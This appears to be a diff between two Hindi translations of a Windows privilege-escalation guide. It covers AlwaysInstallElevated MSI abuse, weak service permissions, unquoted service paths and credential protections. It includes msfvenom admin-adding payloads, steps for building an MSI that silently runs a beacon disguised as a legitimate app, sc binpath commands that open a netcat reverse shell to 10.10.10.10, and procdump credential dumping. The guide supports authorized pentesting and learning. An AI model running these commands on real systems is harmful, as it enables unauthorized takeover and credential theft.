**LDAP signing is not enforced,** उपयोगकर्ताओं के पास ऐसे self-rights होते हैं जो उन्हें **Resource-Based Constrained Delegation (RBCD)** कॉन्फ़िगर करने की अनुमति देते हैं, और उपयोगकर्ताओं के पास domain के भीतर कंप्यूटर बनाने की क्षमता होती है। यह ध्यान देने योग्य है कि ये **requirements** सामान्यतः **default settings** का उपयोग करके पूरी होती हैं। Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) @@ -223,19 +231,19 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -यदि आपके पास meterpreter session है, तो आप इस तकनीक को मॉड्यूल **`exploit/windows/local/always_install_elevated`** का उपयोग करके स्वचालित कर सकते हैं। +यदि आपके पास meterpreter session है तो आप इस तकनीक को मॉड्यूल **`exploit/windows/local/always_install_elevated`** का उपयोग करके स्वचालित कर सकते हैं ### PowerUP -Power-up से `Write-UserAddMSI` कमांड का उपयोग करें ताकि वर्तमान निर्देशिका के अंदर एक Windows MSI बाइनरी बनाई जा सके to escalate privileges. यह स्क्रिप्ट एक precompiled MSI installer लिखती है जो user/group addition के लिए prompt करता है (so you will need GIU access): +power-up के `Write-UserAddMSI` कमांड का उपयोग करें ताकि वर्तमान directory के अंदर एक Windows MSI binary बनाई जा सके ताकि आप privileges escalate कर सकें। यह script एक precompiled MSI installer लिखता है जो user/group addition के लिए prompt करता है (इसलिए आपको GIU access की आवश्यकता होगी): ``` Write-UserAddMSI ``` -बस बनाए गए binary को execute करें ताकि आप escalate privileges कर सकें। +सिर्फ बनाए गए binary को execute करके privileges escalate करें। ### MSI Wrapper -इस ट्यूटोरियल को पढ़ें ताकि आप सीख सकें कैसे MSI wrapper बनाया जाता है इन tools का उपयोग करके। ध्यान दें कि आप एक "**.bat**" फ़ाइल को wrap कर सकते हैं अगर आप **सिर्फ** **execute** **command lines** करना चाहते हैं +Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a "**.bat**" file if you **just** want to **execute** **command lines** {{#ref}} @@ -251,32 +259,32 @@ create-msi-with-wix.md ### Create MSI with Visual Studio -- Cobalt Strike या Metasploit का उपयोग करके `C:\privesc\beacon.exe` में एक **new Windows EXE TCP payload** Generate करें +- Cobalt Strike या Metasploit के साथ `C:\privesc\beacon.exe` में एक **new Windows EXE TCP payload** **Generate** करें। - **Visual Studio** खोलें, **Create a new project** चुनें और search box में "installer" टाइप करें। **Setup Wizard** प्रोजेक्ट चुनें और **Next** पर क्लिक करें। -- प्रोजेक्ट का नाम दें, जैसे **AlwaysPrivesc**, location के लिए **`C:\privesc`** का उपयोग करें, **place solution and project in the same directory** चुनें, और **Create** पर क्लिक करें। -- **Next** पर क्लिक करते रहें जब तक आप step 3 of 4 (choose files to include) पर नहीं पहुँच जाते। **Add** पर क्लिक करें और अभी जो Beacon payload आपने जनरेट किया है उसे चुनें। फिर **Finish** पर क्लिक करें। +- प्रोजेक्ट का नाम दें, जैसे **AlwaysPrivesc**, लोकेशन के लिए **`C:\privesc`** चुनें, **place solution and project in the same directory** को चुनें, और **Create** पर क्लिक करें। +- तब तक **Next** पर क्लिक करते रहें जब तक आप step 3 of 4 (choose files to include) पर नहीं पहुँचते। **Add** पर क्लिक करें और अभी जो Beacon payload आपने बनाया है उसे चुनें। फिर **Finish** पर क्लिक करें। - **Solution Explorer** में **AlwaysPrivesc** प्रोजेक्ट को हाइलाइट करें और **Properties** में **TargetPlatform** को **x86** से **x64** में बदलें। -- आप अन्य properties भी बदल सकते हैं, जैसे **Author** और **Manufacturer** जो इंस्टॉल्ड ऐप को अधिक वैध दिखा सकते हैं। -- प्रोजेक्ट पर राइट-क्लिक करें और **View > Custom Actions** चुनें। -- **Install** पर राइट-क्लिक करें और **Add Custom Action** चुनें। -- **Application Folder** पर डबल-क्लिक करें, अपनी **beacon.exe** फ़ाइल चुनें और **OK** पर क्लिक करें। इससे सुनिश्चित होगा कि installer चलाते ही beacon payload execute हो जाएगा। +- आप अन्य properties भी बदल सकते हैं, जैसे **Author** और **Manufacturer**, जिससे installed app अधिक legitimate दिखाई दे सकती है। +- प्रोजेक्ट पर right-click करें और **View > Custom Actions** चुनें। +- **Install** पर right-click करें और **Add Custom Action** चुनें। +- **Application Folder** पर double-click करें, अपनी **beacon.exe** फ़ाइल चुनें और **OK** पर क्लिक करें। इससे सुनिश्चित होगा कि installer रन होते ही beacon payload चलाया जाएगा। - **Custom Action Properties** के अंतर्गत **Run64Bit** को **True** में बदलें। - अंत में, **build it**। -- यदि चेतावनी `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` दिखाई दे, तो सुनिश्चित करें कि आपने platform को x64 पर सेट किया है। +- यदि warning `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` दिखाई दे तो सुनिश्चित करें कि आपने platform को x64 पर सेट किया है। ### MSI Installation -हानिकारक `.msi` फ़ाइल की **installation** को **background** में execute करने के लिए: +बैकग्राउंड में malicious `.msi` फ़ाइल की **installation** को execute करने के लिए: ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` -इस कमज़ोरी का शोषण करने के लिए आप उपयोग कर सकते हैं: _exploit/windows/local/always_install_elevated_ +इस vulnerability को exploit करने के लिए आप उपयोग कर सकते हैं: _exploit/windows/local/always_install_elevated_ -## एंटीवायरस और डिटेक्टर +## एंटीवायरस और डिटेक्टर्स ### ऑडिट सेटिंग्स -ये सेटिंग्स तय करती हैं कि क्या **लॉग** किया जा रहा है, इसलिए आपको इस पर ध्यान देना चाहिए +ये सेटिंग्स तय करती हैं कि क्या **logged** हो रहा है, इसलिए आपको ध्यान देना चाहिए। ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` @@ -288,8 +296,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ``` ### LAPS -**LAPS** का उद्देश्य **management of local Administrator passwords** के लिए है — यह सुनिश्चित करता है कि डोमेन से जुड़े कंप्यूटरों पर प्रत्येक पासवर्ड **unique, randomised, and regularly updated** हो। ये पासवर्ड Active Directory में सुरक्षित रूप से संग्रहित होते हैं और केवल उन्हीं उपयोगकर्ताओं द्वारा एक्सेस किए जा सकते हैं जिन्हें ACLs के माध्यम से पर्याप्त permissions दिए गए हों, जो उन्हें अधिकृत होने पर local admin passwords देखने की अनुमति देता है। - +**LAPS** लोकल Administrator पासवर्ड्स के प्रबंधन के लिए डिज़ाइन किया गया है, यह सुनिश्चित करते हुए कि प्रत्येक पासवर्ड उन कंप्यूटरों पर जो domain से जुड़े होते हैं, अद्वितीय, यादृच्छिक और नियमित रूप से अपडेट हो। ये पासवर्ड्स Active Directory में सुरक्षित रूप से संग्रहीत होते हैं और केवल वे उपयोगकर्ता जिन्हें ACLs के माध्यम से पर्याप्त अनुमति दी गई हो ही इन्हें एक्सेस कर सकते हैं, जिससे अधिकृत होने पर वे local admin passwords देख सकें। {{#ref}} ../active-directory-methodology/laps.md @@ -297,28 +304,28 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -यदि सक्रिय हो तो, **plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\ +यदि सक्रिय है, तो **plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\ [**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -**Windows 8.1** से, Microsoft ने Local Security Authority (LSA) के लिए उन्नत सुरक्षा पेश की ताकि अविश्वसनीय प्रक्रियाओं द्वारा इसकी **मेमोरी पढ़ने** या कोड इंजेक्ट करने के प्रयासों को **रोककर** सिस्टम को और सुरक्षित बनाया जा सके.\ -[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection) +**Windows 8.1** से, Microsoft ने Local Security Authority (LSA) के लिए उन्नत सुरक्षा पेश की ताकि अविश्वसनीय प्रक्रियाओं द्वारा **इसकी मेमोरी पढ़ने** या कोड इंजेक्ट करने के प्रयासों को **रोक**कर, सिस्टम और अधिक सुरक्षित बनाया जा सके.\ +[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** को **Windows 10** में पेश किया गया था। इसका उद्देश्य डिवाइस पर संग्रहीत credentials को pass-the-hash attacks जैसे खतरों से सुरक्षित रखना है।| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** को **Windows 10** में पेश किया गया था। इसका उद्देश्य डिवाइस पर संग्रहीत credentials को pass-the-hash जैसे खतरों से सुरक्षित रखना है.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` ### Cached Credentials -**Domain credentials** को **Local Security Authority** (LSA) द्वारा प्रमाणीकृत किया जाता है और ऑपरेटिंग सिस्टम के घटकों द्वारा उपयोग किया जाता है। जब किसी उपयोगकर्ता के logon डेटा को किसी registered security package द्वारा प्रमाणीकृत किया जाता है, तो आम तौर पर उस उपयोगकर्ता के लिए domain credentials स्थापित कर दिए जाते हैं।\ -[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). +**Domain credentials** को **Local Security Authority** (LSA) द्वारा प्रमाणित किया जाता है और ऑपरेटिंग सिस्टम के घटकों द्वारा उपयोग किया जाता है। जब किसी उपयोगकर्ता का logon data किसी registered security package द्वारा प्रमाणित किया जाता है, तो आम तौर पर उस उपयोगकर्ता के लिए domain credentials स्थापित किए जाते हैं।\ +[**यहाँ Cached Credentials के बारे में अधिक जानकारी**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` @@ -326,7 +333,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO ### उपयोगकर्ताओं और समूहों को सूचीबद्ध करें -आपको यह जांचना चाहिए कि आप जिन समूहों के सदस्य हैं, उनमें से किसी के पास कोई रोचक permissions तो नहीं हैं +आपको यह जांचना चाहिए कि जिन समूहों के आप सदस्य हैं उनमें से किसी के पास दिलचस्प अनुमतियाँ हैं या नहीं। ```bash # CMD net users %username% #Me @@ -343,24 +350,24 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### विशेषाधिकार समूह -**यदि आप किसी विशेषाधिकार समूह के सदस्य हैं तो आप विशेषाधिकार वृद्धि (privilege escalation) कर सकते हैं।** विशेषाधिकार समूहों और उन्हें दुरुपयोग करके विशेषाधिकार बढ़ाने के बारे में यहाँ जानें: +यदि आप **किसी विशेषाधिकार समूह के सदस्य हैं तो आप escalate privileges कर सकते हैं**। विशेषाधिकार समूहों और उनका दुरुपयोग करके escalate privileges कैसे किया जा सकता है, यहाँ जानें: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}} -### टोकन मैनिपुलेशन +### Token manipulation -**और जानें** कि **token** क्या है इस पृष्ठ पर: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -निम्नलिखित पृष्ठ देखें ताकि आप **रोचक टोकन** और उन्हें दुरुपयोग करने का तरीका सीख सकें: +**Learn more** इस पृष्ठ पर जानें कि **token** क्या है: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ +निम्नलिखित पृष्ठ देखें ताकि आप **दिलचस्प tokens** कौन से हैं और उनका दुरुपयोग कैसे किया जाता है जान सकें: {{#ref}} privilege-escalation-abusing-tokens.md {{#endref}} -### लॉग किए गए उपयोगकर्ता / सत्र +### लॉग्ड-इन उपयोगकर्ता / सत्र ```bash qwinsta klist sessions @@ -370,7 +377,7 @@ klist sessions dir C:\Users Get-ChildItem C:\Users ``` -### Password नीति +### पासवर्ड नीति ```bash net accounts ``` @@ -378,12 +385,12 @@ net accounts ```bash powershell -command "Get-Clipboard" ``` -## Running Processes +## चल रही प्रक्रियाएँ -### File and Folder Permissions +### फ़ाइल और फ़ोल्डर अनुमतियाँ -सबसे पहले, प्रक्रियाओं की सूची बनाते समय **प्रक्रिया के command line के अंदर passwords की जाँच करें**.\\ -जाँच करें कि क्या आप **किसी चल रही binary को overwrite कर सकते हैं** या binary फ़ोल्डर पर आपके पास write permissions हैं ताकि आप संभावित [**DLL Hijacking attacks**](dll-hijacking/index.html) का exploit कर सकें: +सबसे पहले, प्रक्रियाओं को सूचीबद्ध करते समय **प्रोसेस की command line के अंदर पासवर्ड्स की जाँच करें**.\ +जाँचें कि क्या आप **किसी चल रहे binary को overwrite कर सकते हैं** या binary फ़ोल्डर पर write permissions हैं ताकि आप संभावित [**DLL Hijacking attacks**](dll-hijacking/index.html) का फायदा उठा सकें: ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -394,9 +401,9 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` -हमेशा जाँच करें कि क्या संभावित [**electron/cef/chromium debuggers** चल रहे हैं — आप उनका दुरुपयोग कर अधिकार बढ़ा सकते हैं](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). +हमेशा संभावित [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md) की जाँच करें। -**प्रोसेस बाइनरीज़ की अनुमतियों की जाँच** +**processes binaries की permissions की जाँच** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( @@ -405,7 +412,7 @@ icacls "%%z" ) ) ``` -**प्रोसेस बाइनरीज़ के फ़ोल्डरों की अनुमतियों की जांच (**[**DLL Hijacking**](dll-hijacking/index.html)**)** +**प्रोसेस बाइनरीज़ के फोल्डरों की permissions की जाँच ([DLL Hijacking](dll-hijacking/index.html))** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( @@ -413,17 +420,17 @@ icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone todos %username%" && echo. ) ``` -### मेमोरी पासवर्ड माइनिंग +### Memory Password mining -आप चल रहे किसी प्रोसेस का मेमोरी डम्प **procdump** from sysinternals का उपयोग करके बना सकते हैं। FTP जैसी सेवाओं की मेमोरी में **credentials in clear text in memory** होते हैं; मेमोरी डम्प करके उन credentials को पढ़ने की कोशिश करें। +आप चल रही प्रोसेस का memory dump बना सकते हैं **procdump** from sysinternals का उपयोग करके। FTP जैसी सेवाओं में **credentials in clear text in memory** होते हैं — memory को dump करके उन credentials को पढ़ने की कोशिश करें। ```bash procdump.exe -accepteula -ma ``` -### असुरक्षित GUI ऐप्स +### असुरक्षित GUI एप्लिकेशन -**SYSTEM के रूप में चलने वाले एप्लिकेशन उपयोगकर्ता को CMD लॉन्च करने या डायरेक्टरी ब्राउज़ करने की अनुमति दे सकते हैं।** +**SYSTEM के रूप में चलने वाले एप्लिकेशन एक उपयोगकर्ता को CMD स्पॉन करने या डायरेक्टरी ब्राउज़ करने की अनुमति दे सकते हैं।** -Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt" +उदाहरण: "Windows Help and Support" (Windows + F1), "command prompt" खोजें, "Click to open Command Prompt" पर क्लिक करें ## सेवाएँ @@ -436,44 +443,44 @@ Get-Service ``` ### अनुमतियाँ -आप किसी सेवा की जानकारी प्राप्त करने के लिए **sc** का उपयोग कर सकते हैं। +आप किसी सेवा की जानकारी प्राप्त करने के लिए **sc** का उपयोग कर सकते हैं ```bash sc qc ``` -प्रत्येक service के लिए आवश्यक privilege level की जाँच करने के लिए _Sysinternals_ के binary **accesschk** का होना अनुशंसित है। +यह सिफ़ारिश की जाती है कि प्रत्येक service के लिए आवश्यक privilege स्तर की जाँच करने हेतु _Sysinternals_ का binary **accesschk** मौजूद हो। ```bash accesschk.exe -ucqv #Check rights for different groups ``` -सुझाव दिया जाता है कि जांचें कि "Authenticated Users" किसी भी सेवा को संशोधित कर सकते हैं या नहीं: +यह अनुशंसा की जाती है कि जांचें कि "Authenticated Users" किसी सेवा को संशोधित कर सकते हैं या नहीं: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` -[आप यहाँ accesschk.exe (XP के लिए) डाउनलोड कर सकते हैं](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) +[आप यहाँ से accesschk.exe (XP के लिए) डाउनलोड कर सकते हैं](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) ### सेवा सक्षम करें -यदि आपको यह त्रुटि हो रही है (उदाहरण के लिए SSDPSRV के साथ): +यदि आपको यह त्रुटि आ रही है (उदाहरण के लिए SSDPSRV के साथ): -_सिस्टम त्रुटि 1058 हुई है._\ -_सेवा शुरू नहीं की जा सकती, या तो क्योंकि यह अक्षम है या क्योंकि इसके साथ कोई सक्रिय डिवाइस संबद्ध नहीं है._ +_System error 1058 has occurred._\ +_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ -आप इसे सक्षम करने के लिए निम्न का उपयोग कर सकते हैं +आप इसे निम्न का उपयोग करके सक्षम कर सकते हैं ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**ध्यान में रखें कि सेवा upnphost काम करने के लिए SSDPSRV पर निर्भर करती है (XP SP1 के लिए)** +**ध्यान में रखें कि सर्विस upnphost काम करने के लिए SSDPSRV पर निर्भर करती है (XP SP1 के लिए)** -इस समस्या का **एक और समाधान** यह है कि निम्न चलाया जाए: +**इस समस्या का एक और समाधान** यह है कि चलाएँ: ``` sc.exe config usosvc start= auto ``` -### **सेवा के बाइनरी पथ को संशोधित करें** +### **सर्विस बाइनरी पाथ बदलें** -यदि किसी सेवा पर "Authenticated users" समूह के पास **SERVICE_ALL_ACCESS** है, तो सेवा के executable बाइनरी को संशोधित करना संभव है। इसे संशोधित करने और **sc** चलाने के लिए: +ऐसी स्थिति में जहाँ "Authenticated users" समूह के पास किसी service पर **SERVICE_ALL_ACCESS** होता है, service के executable binary को संशोधित करना संभव है। **sc** को संशोधित करने और चलाने के लिए: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -481,31 +488,31 @@ sc config binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cm sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" ``` -### सेवा पुनः आरंभ करें +### सेवा पुनरारंभ करें ```bash wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -अधिकार विभिन्न अनुमतियों के माध्यम से बढ़ाये जा सकते हैं: +विभिन्न permissions के माध्यम से अधिकार (privileges) बढ़ाए जा सकते हैं: -- **SERVICE_CHANGE_CONFIG**: सर्विस बाइनरी को पुनः कॉन्फ़िगर करने की अनुमति देता है। -- **WRITE_DAC**: अनुमतियों को पुनः कॉन्फ़िगर करने में सक्षम बनाता है, जिससे सर्विस कॉन्फ़िगरेशन बदलने की क्षमता मिलती है। -- **WRITE_OWNER**: स्वामित्व प्राप्त करने और अनुमतियाँ पुनः कॉन्फ़िगर करने की अनुमति देता है। -- **GENERIC_WRITE**: सर्विस कॉन्फ़िगरेशन बदलने की क्षमता देता है। -- **GENERIC_ALL**: यह भी सर्विस कॉन्फ़िगरेशन बदलने की क्षमता देता है। +- **SERVICE_CHANGE_CONFIG**: सर्विस बाइनरी का पुनः कॉन्फ़िगरेशन करने की अनुमति देता है। +- **WRITE_DAC**: permissions का पुनः कॉन्फ़िगरेशन सक्षम करता है, जिससे service configurations बदलने की क्षमता मिलती है। +- **WRITE_OWNER**: ownership प्राप्त करने और permissions के पुनः कॉन्फ़िगरेशन की अनुमति देता है। +- **GENERIC_WRITE**: service configurations बदलने की क्षमता प्राप्त करता है। +- **GENERIC_ALL**: यह भी service configurations बदलने की क्षमता देता है। -For the detection and exploitation of this vulnerability, the _exploit/windows/local/service_permissions_ can be utilized. +इस vulnerability का पता लगाने और शोषण करने के लिए _exploit/windows/local/service_permissions_ का उपयोग किया जा सकता है। -### सर्विस बाइनरीज़ की कमजोर अनुमतियाँ +### Services binaries के कमजोर permissions -**जाँचें कि क्या आप उस बाइनरी को modify कर सकते हैं जिसे कोई service execute करता है** या क्या आपके पास **write permissions on the folder** हैं जहाँ बाइनरी स्थित है ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -आप किसी सर्विस द्वारा execute की जाने वाली प्रत्येक बाइनरी को **wmic** (not in system32) का उपयोग करके प्राप्त कर सकते हैं और अपनी permissions की जाँच **icacls** का उपयोग करके कर सकते हैं: +**जाँचें कि क्या आप उस binary को संशोधित कर सकते हैं जिसे कोई service execute करता है** या क्या आपके पास उस फ़ोल्डर पर **write permissions** हैं जहाँ वह binary स्थित है ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +आप किसी service द्वारा execute की जाने वाली हर binary को **wmic** का उपयोग करके प्राप्त कर सकते हैं (system32 में नहीं) और अपनी permissions **icacls** का उपयोग करके जांच सकते हैं: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\" ``` -आप **sc** और **icacls** का उपयोग भी कर सकते हैं: +आप **sc** और **icacls** का भी उपयोग कर सकते हैं: ```bash sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt @@ -513,8 +520,8 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> ``` ### सर्विस रजिस्ट्री संशोधन अनुमतियाँ -आपको जांचना चाहिए कि क्या आप किसी भी सर्विस रजिस्ट्री को संशोधित कर सकते हैं.\ -आप निम्नलिखित करके किसी सर्विस **रजिस्ट्री** पर अपनी **अनुमतियाँ** **जाँच** सकते हैं: +आपको यह जांचना चाहिए कि क्या आप किसी भी सर्विस रजिस्ट्री को संशोधित कर सकते हैं.\ +आप एक सर्विस **रजिस्ट्री** पर अपनी **अनुमतियाँ** **जांच** सकते हैं: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -523,15 +530,15 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -जांचना चाहिए कि क्या **Authenticated Users** या **NT AUTHORITY\INTERACTIVE** के पास `FullControl` अनुमतियाँ हैं। यदि ऐसा है, तो सेवा द्वारा चलाए जाने वाले बाइनरी को बदला जा सकता है। +जाँच करनी चाहिए कि क्या **Authenticated Users** या **NT AUTHORITY\INTERACTIVE** के पास `FullControl` permissions हैं। यदि हाँ, तो service द्वारा execute की जाने वाली binary को बदला जा सकता है। -चलाए जाने वाले binary का Path बदलने के लिए: +To change the Path of the binary executed: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` ### Services registry AppendData/AddSubdirectory permissions -यदि आपके पास किसी registry पर यह permission है तो इसका मतलब है कि **आप इस registry से सब-रजिस्ट्रीज़ बना सकते हैं**। Windows services के मामले में यह **arbitrary code निष्पादित करने के लिए पर्याप्त है:** +यदि आपके पास किसी registry पर यह अनुमति है, तो इसका अर्थ है कि **आप इस registry से सब-registries बना सकते हैं**। Windows services के मामले में यह **मनमाना कोड चलाने के लिए पर्याप्त है:** {{#ref}} @@ -540,15 +547,15 @@ appenddata-addsubdirectory-permission-over-service-registry.md ### Unquoted Service Paths -यदि किसी executable का path quotes के अंदर नहीं है, तो Windows स्पेस से पहले आने वाले हर हिस्से को execute करने की कोशिश करेगा। +यदि किसी executable का path quotes के अंदर नहीं है, तो Windows हर space से पहले वाले ending को execute करने की कोशिश करेगा। -For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute: +उदाहरण के लिए, path _C:\Program Files\Some Folder\Service.exe_ के लिए Windows निम्नलिखित को execute करने की कोशिश करेगा: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -उद्धरण-रहित सेवा पथों को सूचीबद्ध करें, जो built-in Windows सेवाओं से संबंधित न हों: +बिल्ट-इन Windows सेवाओं से संबंधित सेवाओं को छोड़कर, सभी unquoted service paths सूचीबद्ध करें: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -568,19 +575,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**आप इस vulnerability का पता लगा सकते हैं और इसका शोषण कर सकते हैं** metasploit के साथ: `exploit/windows/local/trusted\_service\_path` आप मैन्युअली metasploit के साथ एक सर्विस बाइनरी बना सकते हैं: +**आप detect और exploit कर सकते हैं** इस vulnerability को metasploit के साथ: `exploit/windows/local/trusted\_service\_path` आप मैन्युअल रूप से metasploit का उपयोग करके एक service binary बना सकते हैं: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` -### रिकवरी क्रियाएँ +### Recovery Actions -Windows उपयोगकर्ताओं को यह निर्दिष्ट करने की अनुमति देता है कि यदि कोई सेवा विफल हो तो क्या कार्रवाई की जानी चाहिए। यह फीचर किसी binary की ओर इंगित करने के लिए कॉन्फ़िगर किया जा सकता है। यदि यह binary बदलने योग्य है, तो privilege escalation संभव हो सकता है। अधिक जानकारी के लिए देखें [official documentation](). +Windows उपयोगकर्ताओं को यह निर्दिष्ट करने की अनुमति देता है कि यदि कोई service विफल हो तो क्या कार्रवाई की जानी चाहिए। यह फीचर किसी binary की ओर पॉइंट करने के लिए कॉन्फ़िगर किया जा सकता है। यदि यह binary प्रतिस्थापित किया जा सकता है, तो privilege escalation संभव हो सकता है। अधिक जानकारी [official documentation]() में मिल सकती है। -## एप्लिकेशन +## Applications -### इंस्टॉल किए गए एप्लिकेशन +### Installed Applications -जाँचें **permissions of the binaries** (शायद आप किसी एक को overwrite करके escalate privileges कर सकें) और **folders** की भी ([DLL Hijacking](dll-hijacking/index.html)). +जाँचें **permissions of the binaries** (शायद आप किसी एक को overwrite कर सकते हैं और escalate privileges कर सकते हैं) और **folders** के permissions की भी जाँच करें ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -591,7 +598,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### लिखने की अनुमतियाँ -जाँच करें कि क्या आप किसी config file को modify करके कोई special file पढ़ सकते हैं, या क्या आप किसी binary को modify कर सकते हैं जिसे Administrator account (schedtasks) द्वारा execute किया जाएगा। +जाँचें कि क्या आप किसी config file को संशोधित कर सकते हैं ताकि कोई विशेष फ़ाइल पढ़ी जा सके, या क्या आप किसी binary को बदल सकते हैं जिसे Administrator account (schedtasks) द्वारा चलाया जाएगा। सिस्टम में कमजोर folder/files permissions खोजने का एक तरीका है: ```bash @@ -618,23 +625,22 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### स्टार्टअप पर चलाएँ -**जांचें कि क्या आप किसी registry या binary को overwrite कर सकते हैं जो किसी अलग उपयोगकर्ता द्वारा execute किया जाएगा।**\ -**पढ़ें** इस **निम्नलिखित पृष्ठ** को ताकि आप दिलचस्प **autoruns locations to escalate privileges** के बारे में और जान सकें: - +**जांचें कि क्या आप किसी registry या binary को overwrite कर सकते हैं जो किसी दूसरे उपयोगकर्ता द्वारा executed किया जाएगा।**\ +**पढ़ें** इस **निम्नलिखित पृष्ठ** को यह जानने के लिए कि दिलचस्प **autoruns locations to escalate privileges** कौन से हैं: {{#ref}} privilege-escalation-with-autorun-binaries.md {{#endref}} -### ड्राइवर +### ड्राइवर्स -संभावित **तीसरे पक्ष के अजीब/कमज़ोर** ड्राइवर खोजें 